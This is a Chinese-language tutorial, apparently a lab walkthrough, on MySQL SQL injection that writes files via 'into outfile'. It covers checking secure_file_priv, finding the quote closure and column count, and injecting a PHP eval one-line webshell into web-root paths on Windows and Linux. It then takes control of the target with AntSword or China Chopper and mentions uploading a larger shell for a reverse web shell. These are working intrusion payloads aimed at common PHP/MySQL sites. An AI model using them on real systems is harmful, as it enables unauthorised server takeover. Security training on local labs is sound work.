目录
一,mysql文件上传要点
1,show variables like '%secure%';用来查看mysql是否有读写文件的权限

主要看secure_file_priv,value值为空意味着当前mysql程序可以对我所有硬盘的路径进行读写,如果后面是指定的路径C盘或者D盘下某一文件夹的话,只能在这一文件夹下去写;如果里面是NULL说明我不能在当前目标服务器上进行读写(使用mysql)
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
- 若要把secure_file_priv的value值改为空:找到mysql文件下的my.ini文件,在[mysqld]下写入secure_file_priv=''(注意单引号内没有空格!!!),然后进入小皮面板重启MySQL服务

在phpmyadmin中再次输入show variables like '%secure%' 查询,成功查看
Linux环境下实现此功能需要预配置
先用and 1=1 和1=2测试字符型/数字型
?id=1
再测试闭合符和注释符号
?id=1' -- - ?id=1"-- - ?id=1")-- - 这几个在and 1=1和1=2的情况下页面返回情况都相同
用and1=1和1=2测试闭合符是否正确
?id=1')) and 1=1-- -
测试列数
?id=1')) group by 3-- -
测试查询语句
二,文件上传指令
其实我们最终的目的是往目标靶场上上传一句话木马,或者是自己想上传的php文件。
文件上传的用法:
(1)直接可以写在网站的目录下面,然后可以当做一句话木马直接去连接
(2)发现目标网站有文件包含,同时数据库又具备写入一句话木马的权限进行利用
一句话木马
?id=-1')) union select 1,2,"<?php @eval($_POST['hyc']); ?>" into outfile "D:\\phpstudy_pro\\WWW\\hyc.php" --+
<?php @eval($_POST['password']);?>:一句话木马
password是预留密码,这里给的密码是hyc
D:\\phpstudy_pro\\WWW\\是文件路径
hyc.php是新插入的文件名
Linux下
~#cd /var/www/html/text/ 打开文件夹
#ls ls查看test文件夹内文件
?id=-1')) union select 1,2,"<?php @eval($_POST['a']);?>" into outfile "/var/www/html/text/a.php"-- - 页面会报错,但是已经执行
#ls ls查看text文件夹里已经存在新文件a.php
#vim a.php
三,实例

1,判断注入方式
当我们向里面传值的时候,会提示...outfile,说明可用文件上传注入

2,测试目标网站的闭合方式:
但是报错内容没有显示是哪里报错

于是我们使用--+看一下到底是不是’为闭合方式,如下图报错不变,所以闭合方式不是’

于是我们将进行更详细的测试:
当我们试到'))时,可以正常显示
当然在试的过程中可能会出现一些碰巧的情况,比如用”试得到的是一样的结果。
是因为正确答案'))的闭合方式使”无效

怎么解决呢?
我们可以用and 1=1和and 1=2来测试
双引号测试:

两种结果一样,说明”不是正确的结果。
单引号和双括号测试:


两种结果不一样,“错的就是错的“,所以我们找到了正确的闭合方式。
测试列数


3,写入一句话木马

在目标路径下可以看到写入的木马:

打开查看里面写入的内容:

4,拿到控制权
用蚁剑连一下目标靶场:

拿到了电脑的使用权,注入目标达成: 
在这里也可以用whoami看到小皮的权限,我给的是普通用户的权限,不是管理员权限

接下来可以上传大马,反弹拿web shell
中国菜刀用法,打开中国菜刀,右键添加,输入地址https://127.0.0.1/a.php 密码password,单击添加
上传大马 反弹拿web shell